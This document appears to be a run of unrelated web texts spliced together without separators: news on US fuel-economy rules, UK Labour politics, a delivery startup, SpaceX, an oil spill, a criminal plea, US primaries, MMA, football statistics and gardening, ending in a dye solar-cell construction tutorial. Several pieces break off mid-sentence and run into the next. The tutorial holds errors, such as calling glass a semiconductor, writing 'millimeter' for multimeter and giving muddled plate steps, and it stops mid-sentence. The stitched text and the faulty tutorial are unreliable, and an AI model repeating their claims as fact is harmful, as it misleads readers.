But Mr. McCurdy said the industry could meet the new mileage targets using existing technology and improvements in future models. He said that 130 models already got 30 miles a gallon or better on the highway.
In January, Mr. Obama directed the Environmental Protection Agency to reconsider the Bush administration’s past rejection of the California application. He also instructed the Transportation Department to draw up rules to complement a 2007 law requiring a 40 percent improvement in mileage for autos and light trucks by 2020. The Bush administration wrote no regulations to enforce the 2007 law.
Mr. Obama will direct the E.P.A. and the Transportation Department to jointly write enforcement regulations.
Daniel J. Weiss, director of climate strategy at the liberal Center for American Progress, said that under the White House plan, California would retain the ability to set its own emissions standards in the future when the current program expired.
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He also said the new administration program was very close in language and intent to a provision in the climate change and energy bill now before the House Energy and Commerce Committee. That bill calls for a “harmonization” of the California and federal regulatory programs to provide a nationwide standard.
Mr. Obama has been thinking about the future of the American automobile industry for years. He co-sponsored two bills in 2006, during his second year as a United States senator, one to raise fuel economy standards and the other to encourage the use of alternative fuels.
During the presidential campaign, he gave a speech in Detroit chastising the American automobile industry for doing too little to reduce the nation’s dependence on foreign oil and improve their vehicles’ efficiency.
“The auto industry’s refusal to act for so long has left it mired in a predicament for which there is no easy way out,” Mr. Obama said.
That inaction has been a factor in the current dire state in which General Motors and Chrysler find themselves. The Japanese automakers are far ahead in developing smaller, more efficient vehicles, although they, too, will have to adjust their product lines.
Fran Pavley, the California state senator who sponsored the legislation that established the California standard, praised the decision as she traveled to Washington Monday to join the White House meeting on Tuesday.
She said through a spokeswoman that California would work on its own rules while the federal regulations were drafted. “This cleans up our air, reduces our dependence on foreign oil and continues to allow California to lead the way,” she said.Labour leadership hopeful says rival is using previous career as a lobbyist as ‘a stick with which to beat me’ over NHS
Labour leadership hopeful Owen Smith has accused Jeremy Corbyn of using his previous career as a lobbyist for the pharmaceuticals industry as “a stick with which to beat me”.
In a speech on the NHS at the University of Salford on Monday, Smith said he was not ashamed to have worked for companies that make medicines to treat conditions such as cancer, diabetes and asthma, and that big pharmaceutical firms provided an important service to the NHS.
“The NHS doesn’t make medicines. It helps with research, but it can’t make medicines,” he said. “It would be physically impossible for the NHS to be able to trial medicines around the world, so of course we will always rely on external forces, companies essentially, to be able to make medicines.”
How much is the government really privatising the NHS? Read more
Smith’s early campaign has been dogged by accusations that he lobbied for further private sector involvement in the NHS during his time working for pharmaceuticals companies Pfizer and Amgen. At the launch of his campaign in July, Jeremy Corbyn said medical research should not be “farmed out” to big companies such as Pfizer, but should be funded through the Medical Research Council.
The shadow chancellor, John McDonnell, later said that Corbyn’s comments had been misinterpreted, announcing that Labour would seek to reform or scrap a £1bn tax relief designed to promote innovation in companies, including in pharmaceuticals.
Speaking to the Guardian following Monday’s speech, Smith said: “Medicines have always been developed in the private sector and provided to the NHS. It was frankly a bit silly of Jeremy to say that all medicines should be developed in the NHS.
“That’s obviously totally implausible. It would bankrupt the NHS even if it were possible, which of course it isn’t, and he was just using the fact that I’ve worked for big biotech companies as a stick with which to beat me.
“Truthfully, it’s useful to have somebody who understands how big companies operate and it’s completely wrong to suggest that that in any way means I’m in favour of private provision. I’ve never been in favour of it.”
Asked if he had any criticism of his former employers, Smith said: “Yeah, I think medicines should be cheaper, generally. That’s the key criticism I have. I think medicines should be cheaper across the world.”
In his speech, the former shadow work and pensions secretary spoke about the threat of creeping privatisation in the NHS and highlighted Department of Health figures showing that spending on private sector NHS providers had doubled under the Conservatives, from more than £4bn in 2009-10 to £8.7bn in 2015-16. Smith has pledged to increase health spending by 4% a year if he becomes prime minister.
Judges and infiltrators in Labour’s civil war | Letters Read more
Speaking to an audience of supporters and journalists in Salford, Smith argued that the last Labour government had opened the door for the Tories to introduce an increasing amount of private sector involvement in the health service.
“I do think the last Labour government did use private sector providers in order to clear [waiting lists for] hip operations and knee operations and cataracts, and for those individual patients I think that was a worthwhile thing because we inherited – as we will again – massive waiting lists for those key bits of surgery,” he said.
“The reality is I think we failed to appreciate the way in which the Tories would use those words and use the fact Labour had relied on some private sector provision as a Trojan horse for what they wanted to do, which was to break up, denationalise and privatise the NHS. I think perhaps we were naive about the extent to which they would usurp those themes and subvert them.
“I think we need to be clear in this generation, as I am, that we have red lines and those are that we want this NHS to be publicly owned, publicly delivered – 100% if possible. There will always be some instances, as I said, medicines, that are effectively produced in the private sector and purchased by the NHS, but we should be very, very clear that what we want is something that represents that fundamental Labour belief.”If it can be found in Greater Victoria and it’s legal, you can have it delivered to your door thanks to a new Victoria company.
Accio has hit the streets, acting like a personal assistant on demand. In Latin, Accio translates to “send for” among other things — and is a spell used in the Harry Potter movies to summon things,
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“It’s a concierge for everybody,” said co-founder Mike Rowe, who started Accio (myaccio.com) with partner Carla Smart.
Rowe is best known for a dispute with Microsoft in 2004, when as a 17 year-old he battled the software giant over his Internet domain name, mikerowesoft.com.
Rowe and Microsoft settled amicably. He agreed to give up the soundalike Web name and the company gave him an X-box with games, a trip to Seattle, a Microsoft course and helped promote his new Web domain.
Accio is rising out of Rowe’s failed start-up ForkJoy. ForkJoy was a website and iPhone application that offered searchable restaurant menus with photos and ratings. The plan had been to offer a delivery service with it, but the company didn’t have a workable business model.
“But we did have the idea to deliver food, so we thought we’d go for it but not limit ourselves to just food,” said Rowe.
The company started with $300, a car and a business licence two weeks ago, and Rowe said without telling the world about it they’ve already had to start searching for an employee to help with deliveries.
“We are starting to get traction. We are $200 away from being profitable which is the best I’ve done with a start-up so far,” he said with a laugh.
To use the service a customer texts ACCIO to a phone number, they then sign up with a name, address, and credit card information using a secure link.
That process only needs to be done on first delivery. Once an account is set up, the customer texts a request. Accio staff will then find it, price it and provide a quote the customer can confirm or decline.
If the customer confirms, the credit card is charged and Accio buys the item and delivers.
Accio charges a 10 per cent premium on the cost of the item, a $5 delivery fee and a 20 per cent tip.
For a $50 dinner order, for example, that would mean a cost of $70.
Rowe said some pricing on higher-end items could be negotiated and they are working on establishing a cap on how much they will charge.
“We haven’t run up against that yet,” he said, noting most deliveries have been food to the high-tech community. “We have delivered U-Haul boxes to a guy packing up his apartment and moving, that was the most unique one so far.”
To date, Accio has acquired 53 items and made 16 deliveries.Texas is set to house SpaceX's commercial rocket launch facility in the greater Brownsville area, reportedly the most impoverished in America. According to a press release from Governor Rick Perry's office, the state is funnelling approximately $15.3 million into the project, $13 million of which will be used to develop the necessary infrastructure.
"the forefront of our nation's space exploration efforts."
"Texas has been on the forefront of our nation's space exploration efforts for decades, so it is fitting that SpaceX has chosen our state as they expand the frontiers of commercial space flight," said Governor Perry in a statement. The facility is expected to create 300 new jobs and bring $85 million in capital investment to the region, which lies in the southernmost tip of Texas. The Associated Press reports that the Greater Brownsville Incentives Corporation is pledging another $5 million to the project, which local officials believe will create 500 jobs over a 10-year period.
SpaceX and Texas officials have been in discussions since 2011. However, it wasn't until 2012 that news about Cameron County's status as a potential building site officially broke, following the discovery of a Federal Aviation Administration document. Among other things, the file detailed the company's plans to perform up to 12 launches per year, and to analyze the environmental impact of such an endeavor.Spring and the garden are such a dreamy combination, because what you plant now will make your yard and balcony beautiful in summer.
It’s a joy to see the garden wake up after winter. The highlights for this Spring are the spring bulbs, tree blossom and flowering shrubs. So if you want a lovely garden this summer now is the time to prepare it.
When we think of spring the first thing on our mind are flowers, lots and lots of colorful, wonderful and lovely flowers. So, now, before the sun is up in the sky get ready for a gorgeous garden. Spring is also the busiest time in the garden, so try to get ahead before the weeds start growing.
Even if you live in an apartment in the middle of an urban canyon, don’t despair – you can still have garden. It just takes a little creativity to find and use windowsills, rooftops, balconies, and community gardens to grow lush vegetables, flowers, and herbs. And to be honest, having a garden is not an easy task; it demands time, work and care.
Spring is the perfect time to sow seeds, indoors and outside, and to make weeding a priority. But lets start with the most important thing – choosing the plants and bulbs suitable for planting in spring. Here is our TOP 10 Plants and Bulbs for Planting in Spring – feel free to add your favorites in the comments bellow.
Lilac
With its sweet fragrance and beautiful flowers, lilac is one of the most popular garden plants. And it is one of the plants that should be planted in spring so if you want to have one in your backyard now is the time to choose a variety you like and plant it. They come in different shapes, sizes and colors.
Cannas
Large-leaved green, bronze or striped plants featuring orange, yellow, white, red or pink flowers that bloom mid-summer through the first frost. Cannas are great plants to use in a tropical garden because of their foliage and color and as we reported tropical gardens are one of the TOP 10 Hot Gardening Trends for 2015
Gladiolus
This is a perennial favored for its beautiful, showy flowers. Its flowers grow on tall spikes and are often found along the path ways. It is a gorgeous flower and you can get in different colors.
Begonias
Boasting large flowers in bright colors such as orange, red, yellow and pink, Begonias are the perfect flower to add in your garden and make it stunning in summer.
Calla Lilies
Charming, trumpet-shaped flowers blooming in white, yellow, pink or red. Known for their delightful aroma and lovely look, these distinct flowers bloom all summer long.
Dahlia
Dahlias are one of the most versatile bulbs for the summer garden. They appreciate a spot with full sun and moist but well-drained soil.
Oriental Lilly
Oriental lillies are the most dramatic lilies. They bear large, star-shape flowers in shades of white, yellow, crimson, and pink. These blooms is are ideal for your summer garden.
Sunflowers
Sunflowers are beautiful perennials that will add height and color to every garden. They also attract birds and butterflies. You can sow them indoors or directly in your garden. Try planting sunflowers with chives to deter aphids.
Petunia
Petunias are must-have flowers for summer. With their beautiful colors they make every garden or balcony look fabulous. If you are a fan of petunias have in mind that April is the last month to sow them in order to have good-sized plants in summer.
Herbs
There are many herbs you can plant in spring. Although they thrive just fine in colder temperatures we recommend soaking the seeds overnight and then planting them in raised garden beds. This will help germination. Some of the best herbs to plant in spring are dill, cilantro, parsley, chervil and chives.MAYFLOWER, Ark. (AP) — Arkansas Attorney General Dustin McDaniel has set an April 10 deadline for ExxonMobil to produce documents connected to the company’s oil spill in Mayflower.
McDaniel issued a subpoena earlier this week for Exxon’s investigative and inspection reports, videos and other data regarding the Pegasus pipeline that ruptured last week in central Arkansas.
Exxon has said it will comply with McDaniel’s subpoena.
A corrective action order from federal pipeline safety officials say about 3,500 to 5,000 barrels of crude oil spilled after the pipeline ruptured. More than 20 homes in the area have been evacuated.
The attorney general toured the oil spill area Wednesday. McDaniel says residents deserve an explanation of what happened and what effect it had on private property and the environment.
Read ongoing coverage of the Exxon Mobil pipeline spill:Few people ever mentioned Amanda Nunes as a worthy title challenger for Ronda Rousey before this past Saturday. But after watching her dazzling display against Sara McMann, they certainly are now. Nunes blew the doors off of McMann at UFC Fight Night 73, stopping the Olympic medalist with a rear-naked choke in less than three minutes, instantly vaulting her name into title contention.
Nunes is now 4-1 in the UFC. More impressively, all four of those victories ended inside the first round.
So when asked Monday whether his young pupil was ready for the challenge Rousey brings, American Top Team coach Mike Brown didn't hesitate in his response.
"In my opinion, I think she is. I think her stand-up is light years ahead of Ronda's," the former WEC champ said on The MMA Hour. "But obviously Ronda is super talented. The best. [Amanda] would have to use good footwork and score and move and try to stay off the ground, because Ronda is a phenom on the ground. But I don't think Ronda's stand-up is at Amanda's level."
Miesha Tate is the likely front runner for the next shot at Rousey's bantamweight title, but Nunes (11-4) has long been a dark horse in waiting. She exploded into the public consciousness in 2011 with a 14-second knockout of Julia Budd in Strikeforce, and has seemingly improved with every incremental step since.
Her quartet of early UFC stoppages include a first-round TKO over Rousey's good friend Shayna Baszler. And even in her only Octagon stumble, Nunes nearly put Cat Zingano away early before succumbing to a volley of third-round strikes.
"She's only been with us for the last couple fights, but I'll say, 100-percent, this is the first girl I've ever seen in the gym where I looked and I was like, whoa," Brown said. "I've seen her literally stop guys in the gym. Like, beating dudes up, making guys quit in the stand-up. And she, from an early age, has a grappling background.
"But I've seen her, like, make dudes quit (while) kickboxing in the gym. It's impressive.... Professional fighters who are very tough, she's beating up, and she can be mean too. She's getting after them and the guys are timid, and she's like the alpha, for sure. It's pretty crazy."
Nunes' latest romp over McMann propelled her into the No. 4 spot on the UFC's media-generated women's bantamweight rankings. And there's not much more higher she'll need to get.
Even if the UFC decides to go forth with a Rousey-Tate trilogy, the general lack of depth in the division means that one more good win is likely all Nunes would need to land the next shot at the title.
"I think she could beat Ronda now," Brown said. "I don't know, maybe you try to build her a little more and get her a little more experience? But she's more than capable."Nearly three weeks into 2013, you are all familiar with the ongoing legal battle between Eddie Alvarez and Bellator Fighting Championships. However, if you have somehow missed the chatter surrounding one of the highest ranked lightweights not in the UFC, here are the cliff notes:
Alvarez completed the final fight on his Bellator contract in November
contract in November Bellator has a 90-day matching clause in their contract
has a 90-day matching clause in their contract The UFC made Alvarez a sizable offer, which he wants to accept
Bellator sent over an offer, which they feel matches the UFC's
sent over an offer, which they feel matches the UFC's Alvarez claims that the offer does not match
Bellator is suing Alvarez
is suing Alvarez Alvarez is also suing Bellator
Now that we are caught up, some new light has been shed on the situation, thanks to Kevin Iole (via Yahoo! Sports).
Alvarez will stand before federal Judge Jose L. Linares on Jan. 25 seeking an injunction that would allow him to fight on the UFC 159 card. According to the contract offered by the UFC, Alvarez needs to give them a formal answer by Jan. 27 in order to properly promote his appearance.
The fight would serve as the co-main event on a hotly anticipated PPV that is headlined by a light heavyweight title fight between Jon Jones and Chael Sonnen. With Alvarez being offered a bonus based on PPV buyrates, being featured on a card of this magnitude would garner him a major payday.
It offered to give Alvarez $1 per buy between 200,000 and 400,000 buys. That would go up to $2 per buy between 400,000 and 600,000 and $2.50 for each buy over 600,000.
If Jones vs. Sonnen draws somewhere in the ballpark of 700,000 buys, Alvarez would be entitled to a bonus of $850,000 on top of his $70,000 show money and $70,000 win bonus.
With the bonus scale offered by the UFC, it is clear to see why Bellator's offer cannot possibly be a match. Bellator airs their events on SPIKE, so there are no PPV proceeds that Alvarez could earn.
With the injunction one week away, there is some light at the end of the tunnel for Alvarez, who has been stuck in limbo for the last month.
If the judge agrees with Alvarez, he will compete on the April 27 card. Which lightweight should he face? Tell us what you think in the comments below.For a handy explainer, see Newt’s many flips on Libya issue by issue.
Newt Gingrich’s explanation of his shifting Libya position is growing even more complicated and contradictory, even as the former speaker slams President Obama for supposedly flip-flopping himself between inaction and overreaction.
“There is now total confusion,” Gingrich told South Carolina Republicans Thursday, according to the AP, describing the no-fly zone as an “open-ended commitment that is a nightmare.”
In an interview later Thursday with FOX News’ Greta Van Susteren, the same outlet where he called for an immediate no-fly zone earlier this month, Newt tripled down on his elaborate explanation as to how he went from demanding immediate military action to protect Libyan civilians to berating Obama for entering an unnecessary humanitarian war.
According to Newt, Obama committed an unforgivable error by demanding Qaddafi step down on March 3. Before that, he claims, he could have gotten away with a quieter non-military approach to removing him from power.
“If we had a choice, if President Obama had not come out and said Qaddafi has to go,” he told Greta. “I would have preferred the Reagan-Eisenhower model of using the CIA, using our allies, having Moroccan, Egyptian, Jordanian, Iraqi forces helping the people who are going to overthrow Qaddafi.”
But Gingrich’s already tenuous claim that March 3 was a magic bright line that swung him wildly from anti- to pro-war appears to be contradicted by his own prior statements. On February 22, for example, Newt explicitly chided Obama for not taking a more forceful public stance against Qaddafi, complaining of a “conspiracy of silence.”
“I wish the administration — the Obama administration was as enthusiastic about democracy in Libya and in Iran and in other countries as it was in Egypt, which was our ally,” he told FOX News at the time. “Qaddafi’s been our enemy for years. This is an opportunity to replace that dictatorship, and I think the United States ought to be firmly on the side of the Libyan people in replacing this administration.”So let’s unpack this for a moment. If we’re to take Newt Gingrich at his word, then it seems that he was calling on Obama to “replace” Qaddafi … while hoping the President didn’t take his advice? TPM e-mailed Newt spokesman Rick Tyler to ask whether Gingrich’s Feb. 22 comments should have been interpreted as a call for the White House to demand Qaddafi’s ouster, as Obama subsequently did, or to quietly and covertly arm rebels, as Gingrich now claims was the proper move.
“The president made an unpresidential mistake by publicly calling for Qaddafi to go,” Tyler responded. Obama put “American prestige” on the line against Qaddafi when he called for him to go with “no plan to remove him,” Tyler said.
According to Tyler, Gingrich did “not call for military action” in his Feb. 22 interview. “Reagan defeated the Soviet Union without going to war,” he said. “Newt’s position has been consistent.”
But didn’t Reagan also call the Soviet Union an “Evil Empire?”
“Calling the Soviet Union an evil empire is not them same as announcing regime change,” Tyler replied. “The difference is Reagan had a plan and it worked. Obama has no plan except to referee a civil war.”
Below, via Politico, is a clip of Newt’s fateful February 22nd interview.Credit: Declan Shalvey/Jordie Bellaire (Marvel Comics)
Guardians of the Galaxy director James Gunn is an idea man, and his latest concept is a movie based on Moon Knight, Marvel's sartorially-inclined night-time vigilante with multiple personalities. Gunn tweeted about the idea after a fan asked him if he'd put Moon Knight in a Guardians sequel, saying that, while Moon Knight doesn't belong among the Guardians, he does have an idea for a film based on the character.
Oh my God I love Moon Knight & I have a great idea for a movie, I just wish I had the time (but, no, he doesn't belong in Guardians). https://t.co/ARJCPh62gt — James Gunn (@JamesGunn) January 4, 2017
Gunn quickly followed that up by saying he's too busy to direct a Moon Knight movie himself, but that he had pitched the concept to Marvel in the hopes of seeing |
. Iowa’s caucuses begin a process that will select 46 pledged delegates to the Democratic National Convention. New Hampshire’s primary will select 24 pledged delegates. In a nomination contest will be decided by 4,764 Democratic delegates, these two states account for less than 2 percent of the total.
That is why, though most media outlets paid little attention to the story, Bernie Sanders was not in Davenport or Dubuque on the Tuesday before the Iowa caucuses. He was in Duluth. Sanders and Clinton are preparing for a long-haul campaign.
Duluth, up in northern Minnesota, on the western shore of Lake Superior, not far from the Iron Range where the late Senator Paul Wellstone found some of his first and most passionate supporters.
Why Duluth? Because Minnesota will be caucusing on March 1—a day that will see hundreds of delegates selected in 11 states and American Samoa. (Democrats Abroad will also begin a week of voting that day.)
Minnesota’s open caucuses begin the process of identifying 78 pledged delegates to the convention—more than Iowa and New Hampshire combined. (Minnesota will also send 16 unpledged “superdelegates” to the party’s summer conclave in Philadelphia.)
This is the political reality of the evolving 2016 race: while the focus now is on Iowa and New Hampshire (and to a lesser extent on later February contests in Nevada and South Carolina), the road to the convention travels through every state and district, commonwealth and territory. And with polls suggesting that the Democratic race has grown more competitive, front-runner Hillary Clinton and Sanders are both adjusting to the prospects of a longer-haul competition. When and where this contest will finish remains to be seen. It still could be decided quickly, if one candidate posts a steady streak of early wins.
But Sanders is counting on a long run. He just proposed that the Democratic National Committee schedule new debates in March, April, and May.
This understanding of the campaign as a marathon — rather than a quick run through February — took Sanders out of Iowa and up to Duluth Tuesday—and he was not just there on a tarmac-tapping “fly around.” LIKE THIS? GET MORE OF OUR BEST REPORTING AND ANALYSIS
The senator from Vermont drew a cheering crowd of 6,000 to an afternoon rally at the Duluth Entertainment Convention Center Arena—not an inconsequential number for a city of 86,000. At a point when most candidates are counting their minutes in Iowa, Sanders spoke for more than an hour, decrying “the greed and reckless and illegal behavior of Wall Street” and promising the crowd that “We will not allow a rigged economy to continue.”
“Democracy is the right of the people to determine the future of this country, not a bunch of billionaires,” declared Sanders in a speech that, the Duluth News Tribune noted, featured calls for “a doubled-to-$15 per hour federal minimum wage, universal single-payer healthcare, combating global warming, reforming a broken criminal-justice system, rebuilding the nation’s infrastructure, decriminalizing marijuana, gender equity for pay, free public college, paid family leave for new mothers, same-sex marriage, abortion rights, and an end to ‘endless wars in the Middle East.’”
Sanders, who was on the Minnesota trail with two key backers, former Minnesota Democratic-Farmer-Labor Party state senator and gubernatorial contender Becky Lourey and current DFL Congressman Keith Ellison, then traveled to St. Paul, where a crowd of 10,000 packed the city’s RiverCentre and another 4,500 filled an overflow space. There, Sanders drew more cheers when he demanded “major reform in the way police departments function” and said, “When a police officer breaks the law, that officer must be held accountable.”
Ellison, the congressional Progressive Caucus co-chair who gave the senator rousing introductions Tuesday, suggested that “Minnesota is all about Bernie Sanders.”
Hillary Clinton and her supporters will have something to say about that. Clinton campaigned in Minnesota last month, delivering a major speech on combating terror at the University of Minnesota. She drew loud cheers there, especially when she delivered the line, “If you are too dangerous to fly, you are too dangerous to buy a gun—period.” The former secretary of state is backed by Minnesota Governor Mark Dayton and Senators Amy Klobuchar and Al Franken, and she’s still well ahead in the polls. And her aides say she will be back to Minnesota soon.
But Sanders was not talking much about Clinton Tuesday. His focus was on the Republican front-runner.
Sounding very much like a candidate who is thinking long-term, Sanders said in Duluth: “There’s nothing more in this life that I would look forward to than running against Donald Trump.”The Cleveland man accused of holding three women captive in his home for a decade entered a guilty plea on Friday in order to avoid the death penalty.
The man, Ariel Castro, 53, pleaded guilty to 937 counts, including rape and kidnapping, in a plea agreement with prosecutors. Under the deal, he would spend life in prison without parole and receive 1,000 additional years.
“I will plead guilty because of the plea deal,” Mr. Castro said in court.
In a hearing on Friday, Judge Michael J. Russo of Cuyahoga County Common Pleas Court reviewed the charges and asked Mr. Castro whether he understood that he would not leave prison before he died. Mr. Castro said that he understood.
The hearing, which lasted more than an hour, was the first time the public had heard from Mr. Castro at length since he was arrested in May. Mr. Castro, who wore an orange jumpsuit and glasses and had a thick beard, often went beyond the judge’s questions, bringing up his “sexual problems” and saying that he missed his daughter.This was written after the first 12 games of United’s EPL season, and before the away league match vs Watford.
We all know the league table. 4th place is where we are, 2 points behind City and Arsenal and 1 point behind Leicester. We have conceded the least amount of goals in the league (8), but scored less than 7 teams and they are West Ham, Leicester, Tottenham, Everton, Southampton, City and Arsenal. We have the 4th highest goal difference (+9), behind City, Arsenal and Tottenham. But lets look at some other statistics that may be interesting.
Stats are taken from Whoscored. Whenever you see a number in brackets, like (2), it means the team is ranked 2nd in the league in that item/statistic.
Possession
Pretty self explanatory, United have the highest possession average per match, and 3rd highest pass success % in the whole league.
Passes
The two stats that stand out the most are long balls per game where only Watford (81), Leicester (72), and West Ham (72) do more long balls than we do, and that we are in the bottom half of the table for crosses per game which is probably down to our lack of options to aim at in the box and our lack of pace on the wings required to beat a full back and put a ball into the box.
Action zones
The only team that spends less time than us in their own half is City. Only City and Liverpool spend more time than us in the opponent’s half. Out of the big teams we spend the most amount of time in the middle, probably due to lack of pace/runners behind the opposition defence for us to play a quick forward pass to.
Attack
We our among the lowest when its comes to % of our attacks down the right side probably due to Mata playing RW even though he is slow, and unable to beat a full back without support from our right back. We are the highest in the league in % of attacks down the left side due to this being our only flank that has consistently had pacy players all season. Most of the time whenever Mata gets the ball on the right, the attack stalls and the ball is passed around till we get it to our left flank before we try to put the ball in the box. We can see that from the next statistic.
Only 15% of our shots come from our right flank compared to 21% from our left flank.
This shows how bad we are at penetrating an opponents defence because half our shots come from outside the box and only Norwich, Watford and Swansea have a higher %
Only Sunderland, Stoke, Newcastle and West Brom have fewer shots per game than us. We spend the 3rd most amount of time in the opponents half in the whole league, but we clearly struggle to get into the penalty box and even find it hard to get shots away from outside the box.
In terms of shot accuracy, we are around the same ball park as our rivals.
Nothing much to say.
Not enough quality service from the wings and corners. Not enough pace to make through balls viable because I think we do have the passers to put a ball in a good area. Arsenal leads key passes from free kicks by a landslide thanks to Ozil.
When you look at the goals from open play stat, it doesn’t look so bad being only 3 goals behind Arsenal. But of course, it is the lack of chances created that is what the complaints this season are all about.
Defence
Despite Shaw’s injury, our left side has still been able to prevent attacks due to Rojo performing well at LB, having a pacy player at LW to help cover the LB, and having Schneiderlin playing mostly on the left side of central midfield. Despite buying Darmian, our right side still faces more attacks than the left because we dont have a sitting midfielder on the right side of midfield, RB constantly rotated/dropped, and Mata not having the pace to cover for the RB as we can see in the Everton match when LVG brought on Lingard for Mata in the second half to cover the runs of Galloway (Everton’s LB).
It is weird how we have conceded the least amount of goals in the league, but most of the shots we let our opponents take is from inside our penalty box.
The only team that concedes less shots than us is City. The weird thing is we foul more than we get fouled, but the opposite is true for City and Arsenal.
We aren’t as reliant on De Gea as we were last season, but he is still important for us. Only City, Southampton, Bournemouth and Liverpool make less saves per game than we do. Our keeper has to make significantly more saves per game than City, despite us conceding less shots than anyone other than City, and yet City’s defence has conceded only one more goal than us.
Conclusion
Lies, damned lies, and statistics. Just interesting to look at the numbers and get a different view on things.
AdvertisementsNew Clip From Paul Thomas Anderson’s The Master Posted by Rosie Kinsella on August 23, 2012 · 3 Comments
Judging from the tantalising glimpses and superb trailer we have seen so far, a new clip The Master released in promotion of a charity screening that was held on the 22nd at the Castro Theatre in San Francisco, has cemented even further its status as one of the most hotly anticipated films of the year.
Being Director Paul Thomas Anderson’s first film since the highly acclaimed There Will Be Blood and Joaquin Phoenix’s first feature since his bizarre ‘retirement’ and stint in hoax-Mockumentary territory there is much to look forward to.
As well as Phoenix there is a stellar ensemble cast featuring Phillip-Seymour Hoffman, Amy Adams, and Laura Dern in this tale of dogmatic intellectual ‘The Master’ (Seymour-Hoffman) and the spreading of his faith-based movement in Post-War America. Recruiting a drifter in the form of Phoenix, the organisation gradually begins to gain a following though before long the he begins to question his new mentor and the beliefs he has embraced.
The trailer is below in case you missed it as is the clip showing Phoenix, who has lost his ship, running along a pier amidst beautiful cinematography which should give audiences at Venice and Toronto a further idea of what to expect when the film is screened there in the next few weeks.
The Clip:
And the trailer:
AdvertisementsHow To Construct A Simple Solar Cell? (Step by Step) | Basic Operating Principle Of Photovoltaic Cell
Introduction to Solar Cell or Photovoltaic Cells
A solar cell (or Photovoltaic Cell) is a device that produces electric current either by chemical action or by converting light to electric current when exposed to sunlight. For the sake of this article, attention will be given to solar cells only.
Also read
A solar cell is also known as photovoltaic cell which produces electric current when the surface is exposed to sunlight. In the course of this article, we will be making reference to sunlight as electromagnetic radiation (EM-radiation).
In solar cells, the amount of electrical energy generated by the cells depends on the intensity of em radiation that reaches the surface of the cell. Solar cell converts em radiation to DC current. Thus we can say that a solar cell is a semiconductor junction device that converts electromagnetic radiation reaching us from the sun to electrical energy. As stated above, the current generated is DC.
Basic Operating Principle Of A Photovoltaic / Solar Cell
The principle operation of a solar cell is similar to conduction in a semiconductor like silicon. As seen in the picture, the dark surface is the part that is exposed to sunlight. When EM radiation strikes the surface of the cell, it excites the electrons and as such cause them to jump from jump from one energy level (orbit) to the other leaving holes behind.
These holes serve as the positive charge carriers while the electrons serve as negative charge carriers. Do not get confused, the electrons or holes do not constitute to give the electrical charges. They only carry the charges. By so doing EM radiation is converted to electrical energy. Solar cells are made basically from semiconductors like silicon and selenium being the most widely used.
To understand this better, let’s see the different types of semiconductor material as the materials extensively used in the production of solar cells are semiconductors.
Types Of Semiconductors
We have two types of semiconductors which are intrinsic and extrinsic semiconductors.
Intrinsic Semiconductors:
These are semiconductors that are pure in their own form. No impurity is added to improve their conductivity. Semiconductors of this type at zero degree Celsius have very little or no free holes and electrons for conduction.
Extrinsic Semiconductors:
These types of semiconductors are not pure in that they are doped (substances which serve as impurities are being added in order to enhance its conductivity). When a semiconductor is doped, the following materials are found;
P-Type Semiconductors This kind of semiconductor is formed when a silicon, selenium or germanium is doped with a trivalent element (element with three valence electrons) like boron. Holes (positive charge carriers) are the major charge carriers in this type of semiconductor.
N – Type Semiconductors Electrons are the major charge carriers in this type of semiconductor. They carry negative charges. They are formed when silicon or any other semiconductor is doped with a pentavalent element (element with a five valence electron in the outer shell).
PN – Type Semiconductors When P and N type semiconductor are joined together by melting them I.e. subjecting the surfaces in contact to a high temperature (not completely melting them so that they form one entity), a boundary or a junction is formed between them which is of the order 10-3mm. That junction formed is called PN junction. High concentration of holes on one side of a junction and high concentration of electrons on the other side causes the two charge carriers to diffuse respectively to the other side of the junction.
How To Construct A Simple Photovoltaic / Solar Cell?
Silicon and selenium are the most extensively used semiconductors in the production of solar cells. Gallium, arsenide, indium arsenide and cadmium sulfide etc. are in use too but silicon and selenium are the most widely used.
Knowing that semiconductor materials like silicon and selenium can be quite expensive, we’ll talk about how to construct a solar cell using materials like silicon and also how to construct a solar cell using cheap materials that can be gotten around us.
Note that using cheap materials will not give an output of an equivalent power output compared to if you are to use silicon or selenium and secondly, the larger the surface of the material exposed to EM radiation, the more energy will be produced.
Construction Of A Solar Cell Using Silicon Semiconductor
As said earlier, the surface is a P – type material. The P – type material should be thin so that light energy (EM radiation) will be able to penetrate the junction and reach the N – type material to allow diffusion of electrons and holes.
The nickel – plated ring around the P – type material serve as the positive output terminal while the plating at the bottom of the N – type material serve as the negative output terminal.
How To Construct A Simple Solar Cell? (Step By Step)
Now that you know how solar cells are produced using silicon, let’s see how we can produce a photovoltaic cell using different materials. Instead of using cuprous oxide, we will use different materials. The materials needed are as follows;
Glass plates (microscope slide covers for instance)
Deionized water
Multimeter
Transparent tape
Shallow dish
Electric hot plate (1100W if possible)
Titanium dioxide solution
Carbon (graphite pencil or graphite lubricant)
Iodide solution
Binder clips
Alligator clips
In our last work, P-type material faced the sun and is more conductive compared to the N-type material. Glass is a semiconductor with a partial conductivity. For one of the glass plates to act as P-type material while the other N- type material, you have to treat them with chemicals so that at the end, one of them will be more conductive than the other. The steps are as follows.
Clean the surfaces of the two glass plates thoroughly with ethanol. Do not touch the surface of the glass plates with your hand after cleaning. Using millimeter, test how conductive the surfaces of the plates are and notice the most conductive surface of each of the plates. Place the plates side by side with the conductive surface of either of the plates facing downward while the other conductive surface facing up. After step 2, apply a transparent tape to hold the glass plates together. The tape should be applied along any of the long sides of the plates. The tape should overlap 1mm or so of the edges. Also place a tape on the outer of the glass plate facing up4mm – 5mm. Apply evenly drops of titanium dioxide to the surface of the glass plates and spread the solution evenly. Allow the solution to cover the conductive surface that is facing down. When done with applying titanium dioxide, remove the tapes which holds the plates together. Place the conductive surface that faces up on an electric hot plate overnight so as to bake the titanium dioxide onto the plates. Clean the titanium dioxide that is on the conductive surface facing down and place it in a clean place. Get a shallow dish and fill it with dye which is made with blackberry, raspberry or pomegranate juice etc. Soak the titanium dioxide coated plate that is facing down for at least 10 minutes. Clean the other plate with ethanol while the titanium dioxide plate is soaking in the dye. Test the conductivity of its surface after cleaning. Mark the side that doesn’t conduct electric current as positive. Apply graphite lubricant of graphite pencil over the conductive side and cover the entire surface. Take the plate that is coated with titanium dioxide out of the dye. Rinse it first with deionized water then with ethanol. Wipe off the ethanol on the plate with a clean tissue. Assemble the two plates together such that the coatings touch each other with the plates slightly offset. Hold the plates in place with the aid of binder clips. They should be made offset because the edges will serve as the terminals. Apply drops of iodide solution to the coating that is exposed to sunlight on. Allow the coatings to be soaked in the solution completely. The essence of the iodide solution is to help electrons flow from the titanium dioxide coated plate to the 